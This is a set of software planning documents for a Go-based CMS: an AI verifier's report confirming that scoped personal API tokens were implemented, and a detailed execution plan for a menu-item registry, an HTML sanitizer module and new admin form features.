- .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-UI-SPEC.md
- .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-REVIEW.md
- .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-REVIEW-DISPOSITION.md
- modules/pact/capabilities.go
- modules/bouncer/context.go
- modules/bouncer/context_test.go
- modules/party/registry.go
- modules/party/registry_test.go
- modules/lagoon/backend_admin_migrations.go
- modules/lagoon/backend_admin_migrations_test.go
- modules/cabana/api_tokens.go
- modules/cabana/token_scopes.go
- modules/cabana/token_guard.go
- modules/cabana/account_tokens.go
- modules/cabana/token_commands.go
- modules/cabana/contracts.go
- modules/cabana/http.go
- modules/cabana/registry.go
- modules/cabana/admin_openapi.go
- modules/cabana/example_tokens_test.go
- modules/cabana/token_smoke_test.go
- modules/cabana/token_postgres_smoke_test.go
- modules/cabana/token_scopes_test.go
- modules/cabana/api_tokens_test.go
- modules/cabana/token_guard_test.go
- modules/cabana/token_routes_test.go
- modules/cabana/token_postgres_test.go
- modules/cabana/account_tokens_test.go
- modules/cabana/token_commands_test.go
- modules/cabana/phase10_csrf_test.go
- modules/cabana/README.md
- modules/pact/README.md
- modules/bouncer/README.md
- modules/party/README.md
- modules/lagoon/README.md
- cmd/summer/runtime.go
- admin/src/components/account/ApiTokensPanel.vue
- admin/src/components/account/ApiTokenCreateDialog.vue
- admin/src/views/AccountView.vue
- admin/tests/account/ApiTokensPanel.test.ts
- admin/tests/account/ApiTokenCreateDialog.test.ts
- admin/openapi/admin.json
- admin/src/api/schema.d.ts
- docs/backend/users-and-permissions.md
- docs/services/authentication.md
- docs/console/setup-and-maintenance.md
- docs/console/introduction.md
- docs/plugins/registration.md
- docs/examples/blog/token_scopes.go
- scripts/check-phase16.3.sh
covered_digest: "v2:sha256:45cf7b202d293412c7384f25aa1c456492f6571adae14b0413307c48022a218a"
behavior_unverified: 0
overrides_applied: 0
re_verification:
previous_status: gaps_found
previous_score: 5/6
gaps_closed:
- "SC-6 / phase gate: d1b043a retargeted ApiTokensPanel tests; orchestrator re-ran check-phase16.3.sh --all → Phase 16.3 gate passed (GATE_EXIT=0)"
gaps_remaining: []
regressions: []
---
# Phase 16.3: Backend admin personal API tokens with scopes Verification Report
**Phase Goal:** Backend users can create personal API tokens with a scope they pick at creation time (for example Journal only, or system-wide; later read-only Payment Gateway), so an agent or integration can call the admin and plugin APIs as that backend user, with no more access than the token's scope and the user's own permissions allow. This is the successor of Apparatus PersonalApiToken and reverses the Phase 15 D-15 rule that Journal writes accept only a backend JWT.
**Verified:** 2026-10-11T12:06:35Z
**Status:** passed
**Re-verification:** Yes — after SC-6 gap closure (`d1b043a`)
ROADMAP Success Criteria (SC-1..SC-6) are the contract truths. REQUIREMENTS.md has no phase-16.3-specific IDs (AUTH-03 is an earlier Płytarium-era checkbox). Plan frontmatter truths expand the same SCs; they were checked as supporting evidence, not as a separate score denominator.
WR-01 / WR-02 from code review are dispositioned fixed (a955d2a / cb4b0a9). SC-6 stale-test gap closed in `d1b043a`. No SECURITY.md yet (secure-phase pending). Tag v0.1.21 exists; Journal `go.mod` requires `v0.1.21`.
## Goal Achievement
### Observable Truths
| # | Truth | Status | Evidence |
|---|-------|--------|----------|
| 1 | SC-1: The `backend` guard accepts a valid, unexpired, unrevoked `g15_` token as well as the backend JWT, and the request runs as the token's backend user | ✓ VERIFIED | `newCompositeGuard` routes `Bearer g15_` to token lookup; else JWT+cookie. `principal.Scope = limit`. Gate go + postgres `TestBackendTokenPostgres` PASS |
| 2 | SC-2: A request outside the token's scope is refused even when the user's role would allow it, and a token never grants more than its owner's permissions | ✓ VERIFIED | `Allows` → `allowsUnderScope` before superuser / empty-list. `TestAllowsScope`, `TestTokenRouteGates`, Journal write matrix on Postgres PASS |
| 3 | SC-3: A backend user can create, list and revoke their own tokens in the admin SPA; plaintext shown once; CLI does the same for any backend user | ✓ VERIFIED | AccountView → ApiTokensPanel; create dialog show-once + clipboard backstops (vitest). `TestAccountTokens`, `TestTokenCommands` on Postgres PASS |
| 4 | SC-4: The Journal API accepts a Journal-scoped token for writes | ✓ VERIFIED | `journal` / `journal:read` scopes; `ResolveBackend` with cover `golem15.journal.*`. Postgres `TestJournalTokens` matrix PASS |
| 5 | SC-5: Module READMEs and `docs/` cover the token API, scopes and CLI commands | ✓ VERIFIED | Module READMEs + backend/auth/console/plugin docs. Gate docs stage PASS |
| 6 | SC-6: The new code has unit tests, delivered in the phase's last plan | ✓ VERIFIED | `d1b043a` adds disabled-submit case and retargets 422 scopes (select scope first). Re-verify: panel 15/15 + dialog 19/19 PASS; `check-phase16.3.sh admin` PASS (1252 vitest); orchestrator `--all` → `Phase 16.3 gate passed` (GATE_EXIT=0) |
**Score:** 6/6 truths verified (0 present, behavior-unverified)
### Deferred Items
None.
### Required Artifacts
| Artifact | Expected | Status | Details |
|----------|----------|--------|---------|
| `modules/pact/capabilities.go` | `TokenScope`, `HasTokenScopes` | ✓ VERIFIED | |
| `modules/bouncer/context.go` | `ScopeLimit` on `Principal` | ✓ VERIFIED | |
| `modules/lagoon/backend_admin_migrations.go` | `202610110001_backend_api_tokens` | ✓ VERIFIED | |
| `modules/cabana/api_tokens.go` | mint/hash/`APITokenPrefix`/`issueAPIToken` | ✓ VERIFIED | |
| `modules/cabana/token_scopes.go` | compile, `allowsUnderScope` | ✓ VERIFIED | |
| `modules/cabana/token_guard.go` | composite guard, `ResolveBackend` | ✓ VERIFIED | |
| `modules/cabana/account_tokens.go` | four account token handlers | ✓ VERIFIED | |
| `modules/cabana/token_commands.go` | `admin:token:*` | ✓ VERIFIED | |
| `admin/src/components/account/ApiTokensPanel.vue` | list/create/revoke card | ✓ VERIFIED | |
| `admin/src/components/account/ApiTokenCreateDialog.vue` | two-step show-once | ✓ VERIFIED | WR-02 `canSubmit` |
| `../sm-journal-plugin/token_scopes.go` | journal scopes | ✓ VERIFIED | Sibling repo |
| `../sm-journal-plugin/journal_api_tokens_test.go` | write matrix | ✓ VERIFIED | |
| `scripts/check-phase16.3.sh` | phase gate | ✓ VERIFIED | `--all` green after `d1b043a` |
| Plan 01–04 artifact lists | `verify.artifacts` | ✓ VERIFIED | all_passed |
### Key Link Verification
| From | To | Via | Status | Details |
|------|----|-----|--------|---------|
| `modules/cabana/http.go` | composite guard | `newCompositeGuard` + `guards.Register(..., "backend", …)` | ✓ WIRED | Cookie-less `backendResolver` published |
| `modules/cabana/token_guard.go` | `bouncer.Principal.Scope` | `principal.Scope = limit` | ✓ WIRED | |
| `modules/cabana/contracts.go` `Allows` | `allowsUnderScope` | before superuser / empty list | ✓ WIRED | |
| account API + CLI | `issueAPIToken` | shared mint path | ✓ WIRED | |
| `token_commands.go` | `party.Activated` | `app.Lookup[party.Activated]()` | ✓ WIRED | |
| Journal `auth.go` | `cabana.ResolveBackend` | cover `golem15.journal.*` | ✓ WIRED | |
| AccountView | ApiTokensPanel | import + render | ✓ WIRED | |
### Data-Flow Trace (Level 4)
| Artifact | Data Variable | Source | Produces Real Data | Status |
|----------|---------------|--------|--------------------|--------|
| ApiTokensPanel list | token rows | `GET /account/tokens` | Yes | ✓ FLOWING |
| Create dialog plaintext | `plaintext` ref | `POST /account/tokens` 201 | Yes; cleared on Done / Esc-confirm | ✓ FLOWING |
| CLI create stdout | plaintext | `issueAPIToken` | Yes | ✓ FLOWING |
| Journal writes | principal | `ResolveBackend` | Yes | ✓ FLOWING |
### Behavioral Spot-Checks
| Behavior | Command | Result | Status |
|----------|---------|--------|--------|
| Phase gate (full) | `bash scripts/check-phase16.3.sh --all` (orchestrator) | `Phase 16.3 gate passed`, GATE_EXIT=0 | ✓ PASS |
| Gate admin (re-verify) | `bash scripts/check-phase16.3.sh admin` | `phase16.3 admin passed` (1252 vitest) | ✓ PASS |
| SPA panel + dialog | `vitest … ApiTokensPanel + ApiTokenCreateDialog` | 34/34 PASS | ✓ PASS |
| Gate go / docs / postgres | prior verify + orchestrator `--all` | PASS | ✓ PASS |
### Probe Execution
| Probe | Command | Result | Status |
|-------|---------|--------|--------|
| — | — | No phase probes declared | SKIP |
### Requirements Coverage
| Requirement | Source Plan | Description | Status | Evidence |
|-------------|-------------|-------------|--------|----------|
| SC-1 | 01, 04 | Composite guard + `g15_` | ✓ SATISFIED | |
| SC-2 | 01, 04 | Scope ≤ owner | ✓ SATISFIED | |
| SC-3 | 01, 02, 04 | SPA + CLI token CRUD | ✓ SATISFIED | |
| SC-4 | 03, 04 | Journal-scoped writes | ✓ SATISFIED | |
| SC-5 | 01, 02, 03 | Docs / READMEs | ✓ SATISFIED | |
| SC-6 | 04 | Unit tests + phase gate | ✓ SATISFIED | `d1b043a` + `--all` green |
### Anti-Patterns Found
| File | Line | Pattern | Severity | Impact |
|------|------|---------|----------|--------|
| — | — | Prior stale 422 case | resolved | Fixed in `d1b043a` |
| IN-01 / IN-02 (REVIEW) | — | Info findings open | ℹ️ Info | Not goal blockers |
### Human Verification Required
None. Clipboard / show-once behavior is covered by SPA unit backstops (`ApiTokenCreateDialog` plaintext lifetime + copy success/failure cases; panel dialog rules). VALIDATION.md’s real-browser clipboard row remains an optional nicety, not a must-have for this verdict. No SECURITY.md in this phase (secure-phase separate).
### Gaps Summary
No remaining gaps. Previous SC-6 failure closed by `d1b043a` (disabled-submit assertion + 422 path with a selected scope); full phase gate green.
---
_Verified: 2026-10-11T12:06:35Z_
_Verifier: Claude (msd-verifier)_

View File

@@ -0,0 +1 @@
No external API integration: this phase builds the framework's own admin token API and wires the in-repo Journal plugin to it; no third-party service, SDK or remote API is called.

View File

@@ -0,0 +1,414 @@
---
phase: 17-blog-companions
plan: 01
type: execute
wave: 1
depends_on: []
files_modified:
- .planning/notes/2026-10-11-framework-html-sanitizer-bluemonday.md
- go.mod
- go.sum
- README.md
- modules/pact/capabilities.go
- modules/pact/README.md
- modules/party/registry.go
- modules/party/README.md
- modules/signpost/signpost.go
- modules/signpost/signpost_smoke_test.go
- modules/signpost/README.md
- modules/seaglass/seaglass.go
- modules/seaglass/seaglass_smoke_test.go
- modules/seaglass/README.md
- modules/cabana/form_schema.go
- modules/cabana/crud.go
- modules/cabana/settings.go
- modules/cabana/relation_form.go
- modules/cabana/list_schema.go
- modules/cabana/http.go
- modules/cabana/field_dependent.go
- modules/cabana/field_richeditor.go
- modules/cabana/field_repeater.go
- modules/cabana/reorder.go
- modules/cabana/singleton.go
- modules/cabana/admin_openapi.go
- modules/cabana/README.md
- modules/cabana/testdata/companions/controllers/links/config_form.yaml
- modules/cabana/testdata/companions/controllers/links/config_list.yaml
- modules/cabana/testdata/companions/controllers/links/config_reorder.yaml
- modules/cabana/testdata/companions/models/link/fields.yaml
- modules/cabana/testdata/companions/models/link/columns.yaml
- modules/cabana/companions_smoke_test.go
- modules/cabana/security_coverage_test.go
- modules/cabana/token_routes_test.go
- modules/cabana/phase10_coverage_test.go
- modules/cabana/openapi_conformance_test.go
- modules/phrasebook/backend/lang/en/lang.yaml
- modules/phrasebook/backend/lang/pl/lang.yaml
- admin/openapi/admin.json
- admin/src/api/schema.d.ts
- docs/plugins/menu-item-types.md
- docs/backend/forms.md
- docs/backend/lists-and-filters.md
- docs/backend/admin-controllers.md
- docs/backend/settings.md
autonomous: true
requirements: [SC-1, SC-2, D-01, D-02, D-03, D-06, D-07, D-08, D-09, D-10, D-11]
estimate:
tokens: 210000
raw_tokens: 210000
tasks: 4
confidence: low
must_haves:
truths:
- "D-01: a plugin that implements pact.HasMenuItemTypes returns typed pact.MenuItemType values (Key, Label, DefaultPattern, PatternFrom, Placeholders, Nesting, DynamicItems, References, Resolve); signpost.Activate collects them in party.Activate after every Register and before the first Boot and publishes one *signpost.Registry that consumers read with app.Lookup; no festival event and no string event name carries list, type info or resolve."
- "SC-2 boot rules (edge probe, adjacency): two plugins registering the same type key fail boot with an error that names the key and both plugin IDs; an empty key, a nil Resolve, a DefaultPattern that is empty or does not start with a slash, a PatternFrom that names a type no plugin registered, the type itself or a type that sets its own PatternFrom, and a host override in menu_items.patterns for a type no plugin registered each fail boot with an error prefixed signpost:."
- "D-02: every registered type declares a DefaultPattern (layer 1); the URL pattern is layered as the item override when non-empty, else the host config menu_items.patterns entry for the type key, else, for a list type that sets PatternFrom (the key of the type whose records its items are), the host entry for that record type, else the type's DefaultPattern; so a host override of a record type also reaches the children of the list types that name it, unless the host or the item overrides the list type itself; signpost Registry.Resolve passes that layered pattern to the type in pact.MenuItemResolve.Pattern and a list type builds its children from it; menu_items.patterns is a YAML map read once at boot and documented as file-only (type keys contain dashes, RESEARCH Pitfall 13)."
- "D-03: pact.ResolvedMenuItem carries Title, URL, MTime and Alternates as an ordered locale-to-URL list ([]pact.MenuItemAlternate, never a Go map, so hreflang order is stable), plus nested Items for expanding types; a single-locale site resolves to one alternate."
- "D-08 (one admin binding): a dropdown with dependsOn naming a sibling field (same form, or same repeater row) gets its options from the controller's pact.DependentOptionsProvider; signpost.ReferenceOptions flattens a type's reference tree into options with a depth; GET {admin api}/{vendor}/{plugin}/{controller}/fields/{field}/dependent-options?values[<sibling>]=<value> answers {data:{applies, options:[{value,label,depth}]}}; a type without references answers applies false (edge probe, empty); a submitted value that is not among the options for the submitted sibling value is a 422 with form.dependent_invalid; null is accepted unless the field is required."
- "D-10: the core richeditor field type sanitizes every submitted value (top-level and inside repeater rows) through seaglass, which wraps bluemonday v1.0.27 with the Journal-equivalent policy; HTML the policy leaves token-equal is stored byte-identical; removed elements, attributes and comments come back as meta.notices under the field path; no save path (controller form, repeater row) stores an unsanitized richeditor value, and settings and relation forms refuse richeditor, repeater and dependsOn at boot."
- "D-10 resolved deviation (RESEARCH A1, PATTERNS note): Journal's category content stays type blogeditor (shipped in Phase 16.2, todo cabana-richeditor-field-type closed); this phase does not switch it to richeditor; the core richeditor serves FAQ description and the repeater answer."
- "D-07: type repeater edits a JSON list in a jsonable column with nested form.fields (allowed nested types text, textarea, number, checkbox, switch, dropdown with static, method or dependsOn options, richeditor); keys prompt, maxItems, minItems, titleFrom; groups, style, a repeater inside a repeater and any other nested type fail boot; rows keep only nested field names with scalars coerced per type; required applies per row with error keys such as content.3.answer; maxItems and minItems are 422s on the field; the nested-value refusal in ProjectWritableFields gets a schema-driven exemption for repeater fields only."
- "D-09: a controller with config_reorder.yaml (title, nameFrom, modelClass, parentColumn default parent_id, sortColumn default sort_order, maxDepth, optional partition block) gets GET and POST {admin api}/{vendor}/{plugin}/{controller}/reorder; toolbar.buttons accepts reorder only on such a controller; the POST runs in one transaction that locks the scoped set (ListExtendQuery plus the partition), requires the submitted id set to equal it exactly, refuses a cycle, a parent outside the set and a depth above maxDepth, then writes both parent and sort columns."
- "SC-3 edge (concurrency): a reorder POST whose node set no longer matches the locked scoped set (a record added, removed or moved to another partition meanwhile) answers 409 reorder_stale and writes nothing."
- "D-11: an admin controller implementing pact.AdminSingleton gets GET {admin api}/{vendor}/{plugin}/{controller}/singleton, which returns the one record's id after SingletonRecord creates it when absent; the form schema marks the controller singleton; its list, create, bulk and delete routes answer 404; a SettingsItem with Controller links to it."
- "D-06: every new type, key and route has fail-loud boot checks, swag annotations, regenerated admin/openapi/admin.json and admin/src/api/schema.d.ts, entries in phase09Routes, the token route classes, the phase 10 coverage list and the conformance inventory, and README plus docs updates in the same commit; signpost and seaglass are new beach-named modules with standard READMEs and root README rows; bluemonday enters go.mod with a decision note naming it."
artifacts:
- path: "modules/pact/capabilities.go"
provides: "HasMenuItemTypes, MenuItemType, MenuItemReference, MenuItemResolve, ResolvedMenuItem, MenuItemAlternate, DependentOptionsProvider, DependentOptionSet, AdminSingleton, Option.Depth"
contains: "HasMenuItemTypes"
- path: "modules/signpost/signpost.go"
provides: "menu item type registry: Activate, Registry, ReferenceOptions"
contains: "func Activate"
- path: "modules/seaglass/seaglass.go"
provides: "bluemonday HTML policy with byte-stable SanitizeReport and Check"
contains: "func SanitizeReport"
- path: "modules/cabana/field_dependent.go"
provides: "dependsOn compile, dependent-options route, save recheck"
contains: "DependentOptionsProvider"
- path: "modules/cabana/field_repeater.go"
provides: "repeater compile, decode and nested checks"
contains: "repeater"
- path: "modules/cabana/field_richeditor.go"
provides: "richeditor save gate through seaglass"
contains: "seaglass.SanitizeReport"
- path: "modules/cabana/reorder.go"
provides: "config_reorder.yaml compile and the GET/POST reorder routes"
contains: "reorder_stale"
- path: "modules/cabana/singleton.go"
provides: "singleton controller route"
contains: "AdminSingleton"
- path: ".planning/notes/2026-10-11-framework-html-sanitizer-bluemonday.md"
provides: "decision note naming bluemonday v1.0.27 for the framework"
contains: "bluemonday"
key_links:
- from: "modules/party/registry.go Activate"
to: "modules/signpost/signpost.go Activate"
via: "called after phrasebook and postcard activation, before the Boot loop"
pattern: "signpost.Activate"
- from: "modules/cabana/field_dependent.go"
to: "pact.DependentOptionsProvider on the admin controller"
via: "dependent-options route and save recheck"
pattern: "DependentOptions\\("
- from: "modules/cabana/field_richeditor.go and field_repeater.go"
to: "modules/seaglass/seaglass.go"
via: "every richeditor value, top-level or nested, is sanitized before it is written"
pattern: "seaglass\\."
- from: "modules/cabana/crud.go ProjectWritableFields"
to: "modules/cabana/field_repeater.go"
via: "schema-driven exemption for repeater fields; nestedValue unchanged"
pattern: "repeater"
prohibitions:
- statement: "Framework modules (signpost, seaglass, cabana, pact, party) never import a plugin module (sm-*), never name a consuming application in code, README or docs, and never carry a site-specific URL pattern."
status: unresolved
verification: judgment
- statement: "The nested-value refusal in ProjectWritableFields stays in force for every field that is not a repeater; no richeditor value reaches the database without passing seaglass."
status: unresolved
verification: judgment
- statement: "Existing cabana field types, routes, payloads and the Journal blogeditor contract keep their behaviour byte for byte; only additive fields (Option.Depth with omitempty, new schema keys) change the admin schema."
status: unresolved
verification: judgment
---
## Phase Goal
ROADMAP Goal (not in user-story format, flagged for `/msd mvp-phase 17` if a story is wanted): the sitemap, menu and FAQ plugins run on SummerCMS as shared `sm-*-plugin` repos, so a blog site can manage its menus, FAQs and sitemap in the admin again instead of hardcoding them in the Nuxt app.
This plan's slice (plan 1 of 6, framework Go, wave 1): the typed menu-item type registry (D-01 to D-03) and the cabana features the three plugins' admin screens need (D-06 to D-11), server side only. The admin SPA, dist and the framework tag are plan 02.
## Spec-less probe fallback
No SPEC and no REQUIREMENTS IDs for this phase. The edge probe ran over SC-1..SC-5 as the requirement text (15 items, 2 unclassified). Items owned by this plan: SC-2 adjacency (duplicate key), SC-2 empty (type without references), SC-3 concurrency (stale reorder set); each is an explicit truth above. Prohibitions were recalled in-prompt and are descriptor-less (flagged-unverified). Canon security items (XSS, injection, IDOR) are not minted as prohibitions; they are in the threat model.
## Decisions taken in this plan (Claude's discretion, CONTEXT)
- Registry module `signpost` (a beach signpost points the way to places), sanitizer module `seaglass` (glass the sea has worn smooth). Both get the standard README and a root README row.
- Host pattern config key `menu_items.patterns` (map from type key to pattern), read with compass `LoadSection` once in `signpost.Activate`. Host apps put it in `config/menu_items.yaml`.
- List types (items without a URL of their own, such as "all posts") carry `PatternFrom`, the key of the type whose records they list. Their children then follow the host override of that record type, so a host that changes the post or category URL sets it once and the list types follow. A host or item override of the list type still wins, which keeps the three D-02 layers. Every type, list types included, still declares a valid `DefaultPattern`.
- Alternates are `[]pact.MenuItemAlternate` (ordered), honoring D-03's locale-to-URL mapping without Go map ordering (Pitfall 4).
- The dependent-options payload carries `applies` so the SPA can tell "type takes no reference" from "no records yet" (UI-SPEC states).
- Reorder stale set answers 409 with error code `reorder_stale`; other refusals (cycle, foreign parent, depth) are 422 `validation_failed`.
- Settings and relation forms refuse `richeditor`, `repeater` and `dependsOn` at boot ("supported in controller forms only"), so neither save path can bypass the D-10 gate or the D-08 recheck. The sitemap definition uses the singleton controller form (RESEARCH A6, Pattern 7).
- D-10 Journal clause: not executed; recorded as a resolved deviation (truth above). The bluemonday decision note is committed as a planning-doc commit before the code commit that adds the dependency.
## Artifacts this phase produces (this plan)
- `modules/pact`: `HasMenuItemTypes`, `MenuItemType`, `MenuItemReference`, `MenuItemResolve`, `ResolvedMenuItem`, `MenuItemAlternate`, `DependentOptionsProvider`, `DependentOptionSet`, `AdminSingleton`; `Option` gains `Depth int` (json `depth,omitempty`).
- `modules/signpost` (new): `Activate`, `Registry` (`Types`, `Type`, `Pattern`, `Resolve`), `ReferenceOptions`, `ConfigKey`.
- `modules/seaglass` (new): `Sanitize`, `SanitizeReport`, `Check`, `Removals`.
- `modules/cabana`: field types `richeditor` and `repeater`; field key `dependsOn`; `config_reorder.yaml`; toolbar button `reorder`; routes `GET …/fields/{field}/dependent-options`, `GET` and `POST …/reorder`, `GET …/singleton`; phrase keys for the server messages.
- Docs: `docs/plugins/menu-item-types.md` (new), sections in `docs/backend/forms.md`, `lists-and-filters.md`, `admin-controllers.md`, `settings.md`; decision note `.planning/notes/2026-10-11-framework-html-sanitizer-bluemonday.md`.
- Smoke tests: `TestSignpostSmoke`, `TestSeaglassSmoke`, `TestCompanionsDependentSmoke`, `TestCompanionsRichEditorSmoke`, `TestCompanionsRepeaterSmoke`, `TestCompanionsReorderSmoke`, `TestCompanionsSingletonSmoke` (full unit tests are plan 06).
<objective>
Give plugins a typed menu-item type registry and give cabana the repeater, dependent dropdown, richeditor, tree reorder and singleton form the three ports need, all fail-loud, documented and in the admin OpenAPI.
Purpose: SC-2 (typed successor of pages.menuitem.*) and the framework half of SC-1 (the PHP admin screens can be expressed in YAML).
Output: two new modules, cabana features and routes, regenerated admin.json and schema.d.ts, docs, smoke tests.
</objective>
<execution_context>
@~/.claude/msd-core/workflows/execute-plan.md
@~/.claude/msd-core/templates/summary.md
</execution_context>
<context>
@.planning/phases/17-blog-companions/17-CONTEXT.md
@.planning/phases/17-blog-companions/17-RESEARCH.md
@.planning/phases/17-blog-companions/17-PATTERNS.md
@.planning/phases/17-blog-companions/17-UI-SPEC.md
Concurrency: another session may hold uncommitted edits in modules/cabana or modules/lagoon. Before Task 1 run `git status --porcelain -- modules admin docs scripts` in summercms.go; if it lists files this plan touches, stop and report (do not stash or overwrite another session's work). Stage files by explicit path; planning docs and code in separate commits; no co-author tags. Docker-backed cabana smoke tests skip under -short; run them on a Docker host (if the socket is denied although the user is in the docker group, run through `sudo -u golem`), and record NOT RUN in the SUMMARY when no daemon answers.
<interfaces>
New pact contracts (names fixed by this plan; doc comment on every exported identifier):
```go
type MenuItemType struct {
Key string // unique across plugins, e.g. "journal-post"
Label string // phrase key
DefaultPattern string // layer 1 of D-02, required on every type, starts with "/"
PatternFrom string // optional, list types only: key of the type whose records the items are (e.g. "acme-post"); its host override applies when this type has none
Placeholders []string // e.g. ":slug", ":category", ":id", ":year", ":month", ":day"
Nesting bool
DynamicItems bool
References func(ctx context.Context) ([]MenuItemReference, error) `json:"-"` // nil: takes no reference
Resolve func(ctx context.Context, in MenuItemResolve) (*ResolvedMenuItem, error) `json:"-"`
}
type MenuItemReference struct { Value, Label string; Items []MenuItemReference }
type MenuItemResolve struct { Type, Reference, Pattern string; Nesting bool; UnprefixedLocale string }
type ResolvedMenuItem struct { Title, URL string; MTime *time.Time; Alternates []MenuItemAlternate; Items []ResolvedMenuItem }
type MenuItemAlternate struct { Locale, URL, Title string }
type HasMenuItemTypes interface { MenuItemTypes() []MenuItemType }
type DependentOptionSet struct { Applies bool; Options []Option }
type DependentOptionsProvider interface {
DependentOptions(ctx context.Context, field string, values map[string]any) (DependentOptionSet, error)
}
type AdminSingleton interface {
SingletonRecord(ctx context.Context, db *gorm.DB) (any, error) // first or create
}
// Option gains: Depth int `json:"depth,omitempty"`
```
signpost (new):
```go
const ConfigKey = "menu_items.patterns"
func Activate[P interface{ ID() string }](app *backpack.App, plugins []P) error
type Registry struct{ /* unexported */ }
func (r *Registry) Types() []pact.MenuItemType // plugin activation order, then declaration order
func (r *Registry) Type(key string) (pact.MenuItemType, bool)
func (r *Registry) Pattern(key, itemOverride string) string // itemOverride, else host[key], else host[PatternFrom] when set, else DefaultPattern
func (r *Registry) Resolve(ctx context.Context, key, reference, itemPattern string, nesting bool, unprefixedLocale string) (*pact.ResolvedMenuItem, error)
func ReferenceOptions(ctx context.Context, r *Registry, typeKey string) (pact.DependentOptionSet, error)
```
seaglass (new):
```go
type Removals struct { Elements []string; Attributes []string; Comments int; Changed bool }
func Sanitize(html string) string
func SanitizeReport(html string) (string, Removals)
func Check(html string) error
```
Existing seams (read, do not change their behaviour): pact.FormFieldNotice and cabana localizeNotices/FieldNotice (meta.notices), cabana ProjectWritableFields and nestedValue (crud.go :159, :1272), requireSettingInputs (settings.go :287), markdownPreview route shape (field_markdown.go :71), fileReorderOn exact-set rule (field_file.go :1303), phrasebook.Activate wiring (party/registry.go :128).
</interfaces>
</context>
<tasks>
<task type="tracer">
<name>Task 1: Tracer: a form's reference dropdown lists the records of the menu item type chosen in its sibling, served through the registry from a plugin's typed registration</name>
<reversibility rating="costly">D-01 and D-08: pact.MenuItemType, HasMenuItemTypes and DependentOptionsProvider are implemented by Journal, menu, sitemap and every later content plugin; reshaping them means coordinated changes in all of them.</reversibility>
<files>modules/pact/capabilities.go, modules/pact/README.md, modules/signpost/signpost.go, modules/signpost/signpost_smoke_test.go, modules/signpost/README.md, modules/party/registry.go, modules/party/README.md, modules/cabana/form_schema.go, modules/cabana/field_dependent.go, modules/cabana/http.go, modules/cabana/admin_openapi.go, modules/cabana/README.md, modules/cabana/testdata/companions/controllers/links/config_form.yaml, modules/cabana/testdata/companions/controllers/links/config_list.yaml, modules/cabana/testdata/companions/models/link/fields.yaml, modules/cabana/testdata/companions/models/link/columns.yaml, modules/cabana/companions_smoke_test.go, modules/cabana/security_coverage_test.go, modules/cabana/token_routes_test.go, modules/cabana/phase10_coverage_test.go, modules/cabana/openapi_conformance_test.go, admin/openapi/admin.json, admin/src/api/schema.d.ts, README.md, docs/plugins/menu-item-types.md, docs/backend/forms.md</files>
<read_first>modules/pact/capabilities.go (HasFormFieldTypes :491, SettingsItem :543, Option :568, DropdownOptionsProvider :574), modules/pact/README.md, modules/phrasebook/translator.go (Activate :84-120, the shape to copy), modules/party/registry.go (:100-150), modules/party/README.md, modules/cabana/form_schema.go (formFieldTypes and formFieldKeys :24-48, compileFieldNode), modules/cabana/field_markdown.go (markdownPreview :71-100: principal, tokenRouteGate, WriteData), modules/cabana/http.go (route table :250-398), modules/cabana/admin_openapi.go (AdminMarkdownPreview block :394-409), modules/cabana/security_coverage_test.go (phase09Routes :34), modules/cabana/token_routes_test.go (class map :51), modules/cabana/phase10_coverage_test.go (:101), modules/cabana/openapi_conformance_test.go (TestPhase10ConformanceInventory :134, newConformEnv :787, the markdown case :261), modules/cabana/field_type_smoke_test.go (TestFieldTypeTracerSmoke :160, fixture plugin pattern), modules/cabana/testdata/roster (fixture layout), modules/festival/README.md (standard README structure), README.md (module table), docs/backend/field-types.md (front matter), docs/site.yaml, scripts/check-admin-openapi.sh, .planning/phases/17-blog-companions/17-RESEARCH.md (Patterns 1, 2, 6)</read_first>
<action>Per D-01, D-02, D-03 and D-08, wire one dependent dropdown through every framework layer.
pact: add the contracts listed in the interfaces block of this plan's context, with a doc comment on each exported identifier; Option gains Depth (json depth, omitempty) so existing dropdown payloads are unchanged. pact README: API reference rows and a Features line.
signpost (new module, package signpost): Activate iterates the activated plugins in order, type-asserts pact.HasMenuItemTypes and builds a Registry. Boot errors, each prefixed "signpost: ": empty Key; duplicate Key (message names the key and both plugin IDs); nil Resolve; DefaultPattern empty or not starting with "/" (every type, list types included, D-02 layer 1); after all types are collected, a PatternFrom that names an unregistered key, the type's own key, or a type that itself sets PatternFrom (one level only). It then reads ConfigKey with app.Config.LoadSection into a map from type key to pattern (absent key means no overrides); an override for an unregistered key or one not starting with "/" is a boot error. It publishes the Registry with app.Publish. Registry.Pattern(key, itemOverride) returns itemOverride when non-empty, else the host override for key, else (when the type sets PatternFrom) the host override for the PatternFrom key, else the type's own DefaultPattern; this is how a list type's children follow the host pattern of their record type while an item or host override of the list type still wins (D-02). Registry.Resolve looks up the type (unknown key is an error), builds pact.MenuItemResolve with the layered pattern and calls the type's Resolve. ReferenceOptions returns Applies false when the type is unknown to the registry or its References is nil; otherwise it calls References and flattens the tree depth-first into options whose Depth is the nesting level (0 at the top). README in the standard structure (H1, summary sentence, import line, Name mnemonic, Overview, Features, Usage with an acme example, API reference, Configuration naming menu_items.patterns as YAML-file only, Dependencies, Testing); root README table row reusing the summary sentence.
party: call signpost.Activate(app, ordered) after postcard.Activate and before the Boot loop, wrapping errors as "party: menu item types: %w". party README notes the step.
cabana compile: `dependsOn` becomes a known field key, valid only on type dropdown (elsewhere a boot error naming the field); its value is a sibling field name in the same form that must exist (boot error otherwise); a dependsOn dropdown may not also declare options; the controller must implement pact.DependentOptionsProvider (boot error naming the controller and field otherwise). The compiled form schema exposes dependsOn to the SPA.
cabana route (field_dependent.go): register GET {vendor}/{plugin}/{controller}/fields/{field}/dependent-options in http.go next to the other controller routes. It authenticates like the form schema route (backend principal, controller RequiredPermissions, the token gate the schema routes use), reads query parameters values[name]=value into a map, refuses a field that is not a dependsOn dropdown with 404, calls the provider, localizes option labels in the request locale and writes {data:{applies, options}} with WriteData. Add the swag block (AdminDependentOptions, result type AdminDependentOptionsResult), the phase09Routes entry, the token route class (read route gated like GET schema/form), the phase 10 coverage entry and a conformance case; run scripts/check-admin-openapi.sh (regenerates admin/openapi/admin.json and admin/src/api/schema.d.ts) and npm --prefix admin run typecheck.
